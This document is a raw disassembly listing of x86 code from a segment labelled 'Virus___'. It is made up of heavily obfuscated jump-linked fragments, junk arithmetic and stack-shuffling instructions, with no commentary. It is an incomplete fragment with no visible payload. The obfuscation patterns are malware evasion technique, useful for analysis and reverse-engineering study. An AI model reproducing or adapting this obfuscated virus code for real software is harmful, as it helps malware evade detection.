; --------------------------------------------------------------------------- loc_584EC1: ; CODE XREF: Virus___:0058C7DEj xor ebx, 902D729Fh add [esp+4], ebx jmp loc_587021 ; --------------------------------------------------------------------------- loc_584ED0: ; CODE XREF: Virus___:0058316Bj sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push 76DFh mov [esp], eax jmp loc_585F02 ; --------------------------------------------------------------------------- loc_584EEE: ; CODE XREF: Virus___:00587752j push ebp jmp loc_583D9D ; --------------------------------------------------------------------------- loc_584EF4: ; CODE XREF: Virus___:0058EEB6j pop esi sub ecx, 16FA5EA9h jmp loc_592AC6 ; --------------------------------------------------------------------------- loc_584F00: ; CODE XREF: Virus___:00585C1Dj push ebx not dword ptr [esp] pop ebx shl ebx, 7 shl ebx, 8 jmp loc_58031C ; --------------------------------------------------------------------------- loc_584F10: ; CODE XREF: Virus___:00592D1Aj xor esi, edx pop edx jmp loc_58739F ; --------------------------------------------------------------------------- loc_584F18: ; CODE XREF: Virus___:005827E6j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_583710 ; --------------------------------------------------------------------------- loc_584F2D: ; CODE XREF: Virus___:005872B8j add bl, al jmp loc_592067 ; --------------------------------------------------------------------------- loc_584F34: ; CODE XREF: Virus___:005862F0j push dword ptr [esp] mov eax, [esp] jmp loc_584557 ; --------------------------------------------------------------------------- loc_584F3F: ; CODE XREF: Virus___:00586CADj xchg edi, [esp] pop esp mov [esp], dx mov dl, 5Ah push ebx mov bh, 67h add bh, 1 jmp loc_58BF21 ; --------------------------------------------------------------------------- loc_584F54: ; CODE XREF: Virus___:0058BD1Bj pop esi pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_583A3C ; --------------------------------------------------------------------------- loc_584F64: ; CODE XREF: Virus___:0058678Dj xor esi, 8F71E690h add ebp, esi jmp loc_583EA5 ; --------------------------------------------------------------------------- loc_584F71: ; CODE XREF: Virus___:0058B375j sub ebx, 4B142679h shr ebx, 7 or ebx, 7978449Bh add ebx, 9DEC8D61h add eax, 2807497Dh add eax, ebx sub eax, 2807497Dh pop ebx mov ebp, [esp] add esp, 4 push 914h mov [esp], ecx push 50CA703Bh push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_58042A ; --------------------------------------------------------------------------- loc_584FBA: ; CODE XREF: Virus___:0058661Dj xchg esi, [esp] jmp loc_582836 ; --------------------------------------------------------------------------- loc_584FC2: ; CODE XREF: Virus___:0058C919j mov [esp], esp add dword ptr [esp], 4 pop eax push ebp mov ebp, 4 add eax, ebp pop ebp sub eax, 4 jmp loc_5855B3 ; --------------------------------------------------------------------------- loc_584FE0: ; CODE XREF: Virus___:00589C15j pop bx add bl, 1 jmp loc_59420F ; --------------------------------------------------------------------------- loc_584FEA: ; CODE XREF: Virus___:00585912j push esi mov esi, 66923DF1h not esi xor esi, 2A180CE2h jmp loc_58F21F ; --------------------------------------------------------------------------- loc_584FFD: ; CODE XREF: Virus___:0058E615j shr ebx, 2 neg ebx dec ebx neg ebx add ebx, 0D35E5FECh sub ebp, 69660EE7h add ebp, ebx add ebp, 69660EE7h mov ebx, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_591EA3 ; --------------------------------------------------------------------------- loc_585030: ; CODE XREF: Virus___:00592CC5j mov ebp, 20444E31h jmp loc_585E26 ; --------------------------------------------------------------------------- mov ax, [esp] push 5975h jmp loc_5934F3 ; --------------------------------------------------------------------------- loc_585048: ; CODE XREF: Virus___:0059034Bj mov [esp], ebx mov ebx, 3A485A2Bh mov edi, ebx pop ebx add edx, 20CB5498h sub edx, edi sub edx, 20CB5498h jmp loc_590541 ; --------------------------------------------------------------------------- loc_585066: ; CODE XREF: Virus___:0058ED93j mov ebx, 4844E9Dh sub ebx, 7F487A69h dec ebx jmp loc_58AAB2 ; --------------------------------------------------------------------------- loc_585077: ; CODE XREF: Virus___:00583BA4j add edx, ebx pop ebx mov ebx, edx pop edx jmp loc_586CEB ; --------------------------------------------------------------------------- pop ecx push esi push ebx jmp loc_58DB51 ; --------------------------------------------------------------------------- loc_58508A: ; CODE XREF: Virus___:0058CEA0j pop ecx mov edi, [esp] add esp, 4 push edx jmp loc_58D4E7 ; --------------------------------------------------------------------------- loc_58509A: ; CODE XREF: Virus___:00591468j pop ecx jmp loc_58040C ; --------------------------------------------------------------------------- loc_5850A0: ; CODE XREF: Virus___:0058B7BFj sub edx, 4 xchg edx, [esp] jmp loc_580357 ; --------------------------------------------------------------------------- loc_5850AE: ; CODE XREF: Virus___:005851A4j shl ecx, 6 sub ecx, 0AF609FA6h add esi, ecx jmp loc_580536 ; --------------------------------------------------------------------------- loc_5850BE: ; CODE XREF: Virus___:0059407Fj or dl, bh mov ebx, [esp] add esp, 4 push 2EFh mov [esp], ebx mov bl, 62h or dl, bl pop ebx jmp loc_58CA97 ; --------------------------------------------------------------------------- loc_5850D8: ; CODE XREF: Virus___:005822F5j pop edi mov edx, 0A496A829h add edx, ebp pop ebp add dword ptr [esp+4], 285F68EBh add dword ptr [esp+4], 6CBA769Fh jmp loc_586C6F ; --------------------------------------------------------------------------- loc_5850F6: ; CODE XREF: Virus___:00590AC7j mov ebx, 5187507h jmp loc_5827F2 ; --------------------------------------------------------------------------- loc_585100: ; CODE XREF: Virus___:0057F6D4j add esp, 4 jmp loc_593ABB ; --------------------------------------------------------------------------- loc_585108: ; CODE XREF: Virus___:005836E7j xor ecx, 18574129h add ecx, 56AA5871h sub esi, ecx pop ecx mov eax, [esp] add esp, 4 and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 or eax, eax jz loc_58D4FA push 5BE4h jmp loc_592E70 ; --------------------------------------------------------------------------- loc_585140: ; CODE XREF: Virus___:00588EDEj mov [esp], edx mov edx, 6A89575Ah mov esi, 7FC09A1Fh jmp loc_5913B0 ; --------------------------------------------------------------------------- loc_585152: ; CODE XREF: Virus___:0058C296j mov [esp], edx jmp loc_58C29B ; --------------------------------------------------------------------------- loc_58515A: ; CODE XREF: Virus___:005867B6j mov [esp], esi push 67D63C04h pop esi jmp loc_58363B ; --------------------------------------------------------------------------- loc_585168: ; CODE XREF: Virus___:0057F7F5j push 341h mov [esp], ebx jmp loc_586718 ; --------------------------------------------------------------------------- loc_585175: ; CODE XREF: Virus___:00590169j mov ebp, 3B1A24B7h jmp loc_58652D ; --------------------------------------------------------------------------- loc_58517F: ; CODE XREF: Virus___:00593DADj mov ebp, 4 add ebx, ebp jmp loc_58C5DA ; --------------------------------------------------------------------------- loc_58518B: ; CODE XREF: Virus___:005817E3j and esi, 2043400Eh sub esp, 4 mov [esp], ecx mov ecx, 0AD43898h shl ecx, 4 not ecx jmp loc_5850AE ; --------------------------------------------------------------------------- loc_5851A9: ; CODE XREF: Virus___:00591A47j pop esi add ecx, 30FA39BFh jmp loc_58C4B3 ; --------------------------------------------------------------------------- loc_5851B5: ; CODE XREF: Virus___:005906C0j add ebp, 5E412A94h push edx jmp loc_5876C7 ; --------------------------------------------------------------------------- loc_5851C1: ; CODE XREF: Virus___:005863B7j push edx add dword ptr [esp], 342815EFh pop ebp sub ebp, 342815EFh jmp loc_58BE82 ; --------------------------------------------------------------------------- loc_5851D5: ; CODE XREF: Virus___:005894DBj and eax, 310D312Ch jmp loc_584B79 ; --------------------------------------------------------------------------- loc_5851DF: ; CODE XREF: Virus___:005931FEj sub edx, 7DDF41A2h pop eax jmp loc_592918 ; --------------------------------------------------------------------------- loc_5851EB: ; CODE XREF: Virus___:00590030j mov ebp, 72AD6B4Bh add ebp, 8D5294B9h sub esi, ebp jmp loc_58A8E9 ; --------------------------------------------------------------------------- loc_5851FD: ; CODE XREF: Virus___:00590BC3j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5818E5 ; --------------------------------------------------------------------------- loc_585212: ; CODE XREF: Virus___:00588E7Fj pop ecx jmp loc_58922B ; --------------------------------------------------------------------------- loc_585218: ; CODE XREF: Virus___:00584251j mov ecx, 2DF95E2Ah shr ecx, 7 xor ecx, 77C6C9A8h add esi, ecx pop ecx add esi, 34961D42h jmp loc_5858A7 ; --------------------------------------------------------------------------- loc_585234: ; CODE XREF: Virus___:00592369j add bl, 5Ah add dl, bl pop ebx sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push 689Eh jmp loc_5814A4 ; --------------------------------------------------------------------------- loc_585252: ; CODE XREF: Virus___:0058FCAAj add eax, esi jmp loc_584628 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_585269: ; CODE XREF: Virus___:005902FDj mov esi, 457D5EE9h shl esi, 3 push edx mov edx, 37FD2DABh xor edx, 3B146A23h push ebx mov ebx, 0 sub ebx, edx jmp loc_59196A ; --------------------------------------------------------------------------- loc_58528A: ; CODE XREF: Virus___:0058077Fj push ebx jmp loc_58DE2D ; --------------------------------------------------------------------------- loc_585290: ; CODE XREF: Virus___:00585699j xchg edi, ebp inc edi xchg edi, ebp not ebp jmp loc_591496 ; --------------------------------------------------------------------------- loc_58529C: ; CODE XREF: Virus___:00583A78j push 4168h mov [esp], esp push esi mov esi, 4 jmp loc_58BD17 ; --------------------------------------------------------------------------- loc_5852AF: ; CODE XREF: Virus___:0058CCD3j shr cx, 1 inc cx xor cx, 54A1h or cx, 7D85h add cx, 97Bh jmp loc_589D52 ; --------------------------------------------------------------------------- loc_5852C8: ; CODE XREF: Virus___:005853A8j add esp, 4 push esi mov esi, 2 jmp loc_594523 ; --------------------------------------------------------------------------- loc_5852D6: ; CODE XREF: Virus___:00582E63j add esp, 4 sub esp, 4 jmp loc_58A935 ; --------------------------------------------------------------------------- push small 6D7Eh jmp loc_5804CE ; --------------------------------------------------------------------------- loc_5852ED: ; CODE XREF: Virus___:0058A306j mov edx, 4E167C90h xor edx, 57D95F65h neg edx jmp loc_580BD6 ; --------------------------------------------------------------------------- loc_5852FF: ; CODE XREF: Virus___:0057FD0Fj add edx, 619B4522h pop ecx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] idiv cl movzx cx, ah jmp loc_58CFCB ; --------------------------------------------------------------------------- loc_58531D: ; CODE XREF: Virus___:0058C0A4j add ebp, 50DA25CDh jmp loc_59118E ; --------------------------------------------------------------------------- loc_585328: ; CODE XREF: Virus___:0058EC0Ej xor ebp, 70DE2302h not ebp jmp loc_593E92 ; --------------------------------------------------------------------------- loc_585335: ; CODE XREF: Virus___:0059400Bj sub edi, 7A046465h add ebx, edi pop edi jmp loc_5836BB ; --------------------------------------------------------------------------- loc_585343: ; CODE XREF: Virus___:0058DAC7j push ebp push ecx push 2F0703B4h mov ecx, [esp] add esp, 4 shr ecx, 8 add ecx, 46A66648h mov ebp, ecx pop ecx push ebx mov ebx, 1A6E274Bh add ebx, 7F6C1D67h shl ebx, 2 sub ebx, 0F52B92EAh mov esi, ebx pop ebx push ebx mov ebx, 7D4721C9h add esi, ebx pop ebx push ebx push eax mov eax, 27A66598h mov ebx, eax pop eax sub esp, 4 mov [esp], ebx not dword ptr [esp] jmp loc_581D33 ; --------------------------------------------------------------------------- loc_585395: ; CODE XREF: Virus___:0058FC5Bj mov edi, esp jmp loc_5890E1 ; --------------------------------------------------------------------------- loc_58539C: ; CODE XREF: Virus___:00593540j push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_5852C8 ; --------------------------------------------------------------------------- loc_5853AD: ; CODE XREF: Virus___:00592326j sub esp, 4 mov [esp], esi push edx jmp loc_58A7C2 ; --------------------------------------------------------------------------- loc_5853BC: ; CODE XREF: Virus___:0058366Dj push ebp jmp loc_5894F2 ; --------------------------------------------------------------------------- loc_5853C2: ; CODE XREF: Virus___:0058BA09j pop ebx push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_5912A8 ; --------------------------------------------------------------------------- loc_5853DC: ; CODE XREF: Virus___:00585F4Ej pop edi push 25ECh jmp loc_57FE70 ; --------------------------------------------------------------------------- loc_5853E7: ; CODE XREF: Virus___:00593CEEj dec dl add dl, 5Ch sub dl, 33h sub al, 0EBh jmp loc_5824D1 ; --------------------------------------------------------------------------- loc_5853F6: ; CODE XREF: Virus___:00582A3Cj sub esp, 4 mov [esp], ecx jmp loc_586DAF ; --------------------------------------------------------------------------- loc_585401: ; CODE XREF: Virus___:0058DF6Bj push ebx mov ebx, 4 add edi, ebx pop ebx sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx jmp loc_591AE2 ; --------------------------------------------------------------------------- loc_585419: ; CODE XREF: Virus___:0058C1B4j add eax, ecx pop ecx add eax, ebp jmp loc_588C24 ; --------------------------------------------------------------------------- loc_585423: ; CODE XREF: Virus___:00582F4Fj add esi, 4 push ebx push 33FA6863h pop ebx push eax mov eax, 16054B36h jmp loc_591B58 ; --------------------------------------------------------------------------- loc_58543B: ; CODE XREF: Virus___:0058F389j mov edx, edi pop edi jmp loc_58757A ; --------------------------------------------------------------------------- loc_585443: ; CODE XREF: Virus___:005914EBj mov eax, [esp] push ebx jmp loc_587368 ; --------------------------------------------------------------------------- loc_58544C: ; CODE XREF: Virus___:00589CADj mov ebp, esp push edi push esi mov esi, 76EA7C4Ch jmp loc_5892D6 ; --------------------------------------------------------------------------- loc_58545A: ; CODE XREF: Virus___:0058EF3Ej xor ecx, edi jmp loc_58DD58 ; --------------------------------------------------------------------------- loc_585461: ; CODE XREF: Virus___:00588B51j add esp, 4 pop ecx sub eax, 6D61133Ah add eax, edi push ecx jmp loc_5806DD ; --------------------------------------------------------------------------- loc_585475: ; CODE XREF: Virus___:00587A37j add esi, 708C367Dh add esi, edx push edi mov edi, 29877DFh dec edi neg edi jmp loc_5829AE ; --------------------------------------------------------------------------- loc_58548B: ; CODE XREF: Virus___:0058701Cj mov eax, esi pop esi add eax, 9B10CD4h sub eax, 281366DDh jmp loc_58F2AA ; --------------------------------------------------------------------------- loc_58549D: ; CODE XREF: Virus___:00583450j pop eax push edx mov edx, 0 sub edx, edi xchg edx, edi pop edx jmp loc_58D5B2 ; --------------------------------------------------------------------------- loc_5854AE: ; CODE XREF: Virus___:00594175j sub ebx, esi pop esi xor ebp, ebx mov ebx, [esp] add esp, 4 mov ecx, ebp pop ebp xor edi, ecx pop ecx add ebp, edi mov edi, [esp] push ecx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ecx add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax jmp loc_58F086 ; --------------------------------------------------------------------------- loc_5854E8: ; CODE XREF: Virus___:0058E13Fj sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_585811 ; --------------------------------------------------------------------------- loc_5854F9: ; CODE XREF: Virus___:0058D480j add ecx, 1D84444Fh or ecx, 0F4F571Eh xor ecx, 721B7F26h neg ecx add ecx, 7EAE0FB2h sub ecx, 167A878Bh sub ebx, ecx mov ecx, [esp] push 15D0h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push edi push ebp push ecx mov ecx, 4A8E5BDAh mov ebp, ecx pop ecx mov edi, ebp jmp loc_590F35 ; --------------------------------------------------------------------------- loc_585550: ; CODE XREF: Virus___:00584632j push 77B6h mov [esp], eax push dword ptr [esp+4] jmp loc_5840E4 ; --------------------------------------------------------------------------- loc_585561: ; CODE XREF: Virus___:00590BB3j mov [esp], ecx mov cl, 0A0h add cl, 38h jmp loc_590E02 ; --------------------------------------------------------------------------- loc_58556E: ; CODE XREF: Virus___:0058A1FFj add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 push eax mov eax, 39EF7165h sub edi, eax pop eax add edi, ebp jmp loc_582334 ; --------------------------------------------------------------------------- mov ax, [esp] push 2B87h mov [esp], ecx push esp jmp loc_5886D6 ; --------------------------------------------------------------------------- loc_5855A1: ; CODE XREF: Virus___:00582B62j mov [esp], esi push ecx jmp loc_5939B1 ; --------------------------------------------------------------------------- loc_5855AA: ; CODE XREF: Virus___:00591456j pop dword ptr [esp] pop esp jmp loc_58B186 ; --------------------------------------------------------------------------- loc_5855B3: ; CODE XREF: Virus___:00584FDBj xchg eax, [esp] mov esp, [esp] mov [esp], eax push ebp push 314542F1h jmp loc_591986 ; --------------------------------------------------------------------------- loc_5855C7: ; CODE XREF: Virus___:0058D62Bj sub edx, 1CB55D0Ah pop ebp pop edi add edx, 4 xchg edx, [esp] mov esp, [esp] xor [esp], eax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5855E3: ; CODE XREF: Virus___:00581AD7j xor eax, ebp pop ebp push eax pop ebp jmp loc_59351A ; --------------------------------------------------------------------------- loc_5855ED: ; CODE XREF: Virus___:00581B97j push ebp mov ebp, 27172EB0h add ebp, 248C4FA8h xor ebp, 5B9E2BA8h add ebp, 62600D3h shr ebp, 5 sub ebp, 503E52B2h jmp loc_59080E ; --------------------------------------------------------------------------- loc_585613: ; CODE XREF: Virus___:00580D3Fj add edx, 4 jmp loc_59133B ; --------------------------------------------------------------------------- loc_58561E: ; CODE XREF: Virus___:0058F331j add bl, al jmp loc_5911E3 ; --------------------------------------------------------------------------- loc_585625: ; CODE XREF: Virus___:0058C9D4j xor edx, 0FEDCB7EAh add eax, edx pop edx sub esp, 4 jmp loc_58F570 ; --------------------------------------------------------------------------- loc_585636: ; CODE XREF: Virus___:0058B309j neg ebx jmp loc_582C71 ; --------------------------------------------------------------------------- loc_58563D: ; CODE XREF: Virus___:0058942Aj mov dl, cl mov bl, dl mov edx, [esp] add esp, 4 mov cl, [esp+2] mov [esp+2], bl jmp loc_58DF64 ; --------------------------------------------------------------------------- loc_585657: ; CODE XREF: Virus___:0058F81Ej add esp, 4 add eax, ebp mov ebp, [esp] jmp loc_58694A ; --------------------------------------------------------------------------- loc_585664: ; CODE XREF: Virus___:0058AA61j xor ebx, 340826D8h inc ebx or ebx, 2AF12F9Dh jmp loc_584A05 ; --------------------------------------------------------------------------- loc_585676: ; CODE XREF: Virus___:0059267Cj mov esi, 394F7E95h sub esi, 199B2F47h inc esi xor esi, 1FB44F4Bh push 61B0h mov [esp], eax push ebp mov ebp, 0A302A45h shr ebp, 6 jmp loc_585290 ; --------------------------------------------------------------------------- loc_58569E: ; CODE XREF: Virus___:0058080Cj mov ecx, [esp] add esp, 4 jmp loc_585917 ; --------------------------------------------------------------------------- loc_5856AC: ; CODE XREF: Virus___:0058415Cj pop dword ptr [edi+40h] mov ebx, [esp] push esi jmp loc_58F58C ; --------------------------------------------------------------------------- loc_5856B8: ; CODE XREF: Virus___:0057FE7Bj dec ebx jmp loc_58A657 ; --------------------------------------------------------------------------- loc_5856BE: ; CODE XREF: Virus___:0058EF82j mov eax, 6B0A6034h jmp loc_58EBA2 ; --------------------------------------------------------------------------- loc_5856C8: ; CODE XREF: Virus___:00593360j pop esp or eax, eax jz loc_583E0E push 1BC6h mov [esp], ebp sub esp, 4 mov [esp], ecx push 4494h mov [esp], esi push 0FEh mov esi, [esp] add esp, 4 mov ecx, esi mov esi, [esp] push esi push esp jmp loc_59146D ; --------------------------------------------------------------------------- loc_585701: ; CODE XREF: Virus___:00581C77j sub ebx, 4659AE54h add edx, ebx pop ebx add edx, 4 push edx push dword ptr [esp+4] jmp loc_58C27E ; --------------------------------------------------------------------------- loc_58571A: ; CODE XREF: Virus___:00593D5Dj pop edx and edx, 3F07667Eh push esi mov esi, 6D630DF2h xor edx, esi pop esi xor edi, edx push dword ptr [esp] pop edx jmp loc_5844EC ; --------------------------------------------------------------------------- loc_585735: ; CODE XREF: Virus___:0057FADEj mov [esp], edx not dword ptr [esp] mov edx, [esp] push 15E7h mov [esp], esi mov esi, esp sub esp, 4 mov [esp], ebp push 378F4B1Eh pop ebp sub ebp, 394F0824h shr ebp, 2 sub ebp, 20A80AB3h jmp loc_58ED98 ; --------------------------------------------------------------------------- loc_585768: ; CODE XREF: Virus___:0058132Dj sub esi, 0FBC197CEh add ebp, esi pop esi push 367Ah jmp loc_580F8C ; --------------------------------------------------------------------------- loc_58577B: ; CODE XREF: Virus___:0058F0EBj mov [esp], edi mov edi, 61BD0396h and edi, 6B771CE8h push 0 sub [esp], edi pop edi sub edi, 0D90617Dh add edi, 7A9A6EBAh push edx mov edx, 2FED78B8h sub edx, 0B4EB21A1h xor edi, edx jmp loc_58A490 ; --------------------------------------------------------------------------- loc_5857B1: ; CODE XREF: Virus___:00586162j add dl, 3Dh sub al, 69h sub al, dl jmp loc_59408B ; --------------------------------------------------------------------------- loc_5857BD: ; CODE XREF: Virus___:0058ABDCj xchg edx, ebx shr ebx, 6 not ebx push eax mov eax, 0FE45A48h push esi jmp loc_5846E5 ; --------------------------------------------------------------------------- loc_5857D0: ; CODE XREF: Virus___:005933D0j mov ebp, edx pop edx push ebp push esi mov esi, 2C795C05h mov ebp, esi pop esi or ebp, 541B7606h xor ebp, 66EE0BB7h sub ebp, 2AF1194h jmp loc_588494 ; --------------------------------------------------------------------------- loc_5857F4: ; CODE XREF: Virus___:00591BD5j add edi, 72403576h pop eax mov edx, edi pop edi add ebp, edx pop edx push edx jmp loc_593DD3 ; --------------------------------------------------------------------------- loc_585807: ; CODE XREF: Virus___:0058F686j push ecx push dword ptr [esp+4] jmp loc_5939A1 ; --------------------------------------------------------------------------- loc_585811: ; CODE XREF: Virus___:005854F4j xor ebp, [esp] mov esp, [esp] mov [esp], ebp jmp loc_58F0DB ; --------------------------------------------------------------------------- loc_58581F: ; CODE XREF: Virus___:005867E3j push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_58BD85 ; --------------------------------------------------------------------------- loc_585844: ; CODE XREF: Virus___:0058A3A1j sub esp, 4 mov [esp], eax mov eax, 134C7AE0h push ebp mov ebp, 560A5D82h push edi jmp loc_58D08C ; --------------------------------------------------------------------------- loc_58585E: ; CODE XREF: Virus___:005800C4j not ecx xchg ecx, ebx jmp loc_589E51 ; --------------------------------------------------------------------------- loc_585867: ; CODE XREF: Virus___:00593382j mov [esp], esi push ebp push eax mov eax, 6E661F5Fh mov ebp, 3E174677h jmp loc_58BB19 ; --------------------------------------------------------------------------- loc_58587B: ; CODE XREF: Virus___:0058E1DAj not ecx sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_58DEFE ; --------------------------------------------------------------------------- loc_58589D: ; CODE XREF: Virus___:00590DD2j push edi push dword ptr [esp+4] jmp loc_593A84 ; --------------------------------------------------------------------------- loc_5858A7: ; CODE XREF: Virus___:0058522Fj sub esi, 0D235A19h add esi, ebx add esi, 0D235A19h sub esi, 34961D42h push ebx mov ebx, 779D3B14h sub esi, ebx pop ebx push dword ptr [esp] jmp loc_588316 ; --------------------------------------------------------------------------- loc_5858CC: ; CODE XREF: Virus___:0058CD15j pop ecx add esp, 4 pop dword ptr [edi+24h] loc_5858D6: ; CODE XREF: Virus___:00585936j sub esp, 4 mov [esp], ebx jmp loc_58F1C8 ; --------------------------------------------------------------------------- loc_5858E4: ; CODE XREF: Virus___:0057F62Ej add ebx, 4 jmp loc_57FD60 ; --------------------------------------------------------------------------- loc_5858EF: ; CODE XREF: Virus___:00588B6Fj shr esi, 4 push edi mov edi, 0FF5C2BF1h add esi, edi mov edi, [esp] add esp, 4 add edi, esi jmp loc_584C8B ; --------------------------------------------------------------------------- loc_58590A: ; CODE XREF: Virus___:00580432j mov edi, esp add edi, 4 jmp loc_584FEA ; --------------------------------------------------------------------------- loc_585917: ; CODE XREF: Virus___:005856A7j shr esi, 5 push edx mov edx, 19D1502h xor edx, 166E5DECh jmp loc_58E7AF ; --------------------------------------------------------------------------- loc_58592B: ; CODE XREF: Virus___:0058C629j xor [esp], ecx xor ecx, [esp] mov esp, [esp] or eax, eax jz loc_5858D6 push 326Ch mov [esp], ebx mov ebx, 1Ch push edi mov edi, 2C3A7C22h add ebx, edi push dword ptr [esp] jmp loc_58DA9C ; --------------------------------------------------------------------------- loc_585959: ; CODE XREF: Virus___:005939BAj dec edx xor edx, 0D2749898h mov ecx, edx pop edx push ecx pop esi pop ecx or ecx, esi mov esi, [esp] jmp loc_58C6D2 ; --------------------------------------------------------------------------- loc_585970: ; CODE XREF: Virus___:0058653Bj pop ebp xor ebx, 77766B6Bh add edi, ebx pop ebx push esi push ebx mov ebx, 3E23792Ch jmp loc_590E55 ; --------------------------------------------------------------------------- loc_585986: ; CODE XREF: Virus___:00584C35j push edi mov edi, 35250FB5h mov ecx, 0FD2F50B9h sub ecx, edi pop edi mov edx, ecx pop ecx push edi mov edi, 754B1260h sub edi, 2237F0ECh jmp loc_581C66 ; --------------------------------------------------------------------------- loc_5859A8: ; CODE XREF: Virus___:0058CB26j mov ecx, 4AE87968h jmp loc_57FC3E ; --------------------------------------------------------------------------- loc_5859B2: ; CODE XREF: Virus___:00592591j mov [esp], eax push esp pop eax add eax, 4 sub eax, 4 jmp loc_5861B0 ; --------------------------------------------------------------------------- loc_5859C6: ; CODE XREF: Virus___:00581DD1j pop eax sub esp, 4 jmp loc_58FD43 ; --------------------------------------------------------------------------- loc_5859CF: ; CODE XREF: Virus___:00590FC4j mov [esp], ecx mov ecx, ebx mov edi, ecx mov ecx, [esp] push ebx mov ebx, esp push edi push eax mov eax, 120450A5h push ebp push eax mov eax, 4DC907A2h jmp loc_58E6FA ; --------------------------------------------------------------------------- loc_5859EF: ; CODE XREF: Virus___:00590DB6j sub edx, 23C904C4h jmp loc_58A560 ; --------------------------------------------------------------------------- loc_5859FA: ; CODE XREF: Virus___:00591010j mov eax, 1B875C3Fh jmp loc_593465 ; --------------------------------------------------------------------------- loc_585A04: ; CODE XREF: Virus___:0057F6C2j add esi, 4 xor esi, [esp] jmp loc_5908F4 ; --------------------------------------------------------------------------- loc_585A12: ; CODE XREF: Virus___:005882E0j mov [esp], ebx mov ebx, 4 add edx, ebx mov ebx, [esp] jmp loc_5896B6 ; --------------------------------------------------------------------------- loc_585A24: ; CODE XREF: Virus___:005823E5j pop eax add edi, ebp push edx jmp loc_58FDF8 ; --------------------------------------------------------------------------- loc_585A2D: ; CODE XREF: Virus___:0059360Fj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_585A32: ; CODE XREF: Virus___:00588558j pop esp push esi mov esi, 79890F27h not esi neg esi neg esi sub esi, 46A7106h not esi add esi, 0DB37E57Ch jmp loc_58064A ; --------------------------------------------------------------------------- loc_585A52: ; CODE XREF: Virus___:0058CA15j mov eax, 30A16305h xor ebx, eax jmp loc_59361C ; --------------------------------------------------------------------------- loc_585A5E: ; CODE XREF: Virus___:00591FD1j mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp jmp loc_58C0B4 ; --------------------------------------------------------------------------- loc_585A7A: ; CODE XREF: Virus___:00591A58j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ecx jmp loc_592B23 ; --------------------------------------------------------------------------- loc_585A8C: ; CODE XREF: Virus___:0058BEDFj and bl, 0Eh jmp loc_58A80D ; --------------------------------------------------------------------------- loc_585A94: ; CODE XREF: Virus___:00593820j shl ebx, 1 jmp loc_590A91 ; --------------------------------------------------------------------------- loc_585A9B: ; CODE XREF: Virus___:0058BE22j add ebx, edx sub ebx, 40BC53B4h jmp loc_586254 ; --------------------------------------------------------------------------- loc_585AA8: ; CODE XREF: Virus___:005804BEj mov ebp, 39C62000h xor ebp, 1099177Fh sub ebp, 68B03487h xor ebp, 0FD397F9Ch add edx, ebp pop ebp shr edx, 6 push 5531h mov [esp], ecx jmp loc_590146 ; --------------------------------------------------------------------------- loc_585AD2: ; CODE XREF: Virus___:0058B3F0j add ebp, 6D786620h add edx, ebp pop ebp add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] sub al, 2Bh sub al, bl jmp loc_5862A3 ; --------------------------------------------------------------------------- loc_585AF3: ; CODE XREF: Virus___:00586362j add esi, eax pop eax add esi, 9B865CDh add esi, ecx sub esi, 9B865CDh push eax jmp loc_590995 ; --------------------------------------------------------------------------- loc_585B0A: ; CODE XREF: Virus___:0057F5F8j add ecx, ebx pop ebx push edx jmp loc_583684 ; --------------------------------------------------------------------------- loc_585B13: ; CODE XREF: Virus___:0059122Cj xchg eax, [esp] jmp loc_589DCB ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx push esp pop edx push 2D0Bh mov [esp], esi push ecx mov ecx, 4C3C1917h mov esi, ecx push dword ptr [esp] pop ecx add esp, 4 sub esi, 63120ABCh jmp loc_58B30E ; --------------------------------------------------------------------------- loc_585B4F: ; CODE XREF: Virus___:00584856j xor edi, [esp] xor [esp], edi jmp loc_591AF4 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push 21B3h mov [esp], ecx mov ecx, esp add ecx, 4 push 5C62h mov [esp], edi jmp loc_591C4C ; --------------------------------------------------------------------------- loc_585B7E: ; CODE XREF: Virus___:005910CAj push dword ptr [esp] pop ebx add esp, 4 xor esi, 16EA1661h xor ecx, esi pop esi add ecx, 39D3A7A9h jmp loc_584E74 ; --------------------------------------------------------------------------- loc_585B9C: ; CODE XREF: Virus___:0058E531j xor edx, [esp] mov esp, [esp] mov [esp], ebx pop ebp sub esp, 4 mov [esp], ecx mov ecx, ebp push ecx xor dword ptr [esp], 2C642D8Bh pop eax xor eax, 2C642D8Bh mov ecx, [esp] add esp, 4 pop ebp push 31EEh jmp loc_581A6C ; --------------------------------------------------------------------------- loc_585BD0: ; CODE XREF: Virus___:0058EC90j mov [esp], ecx 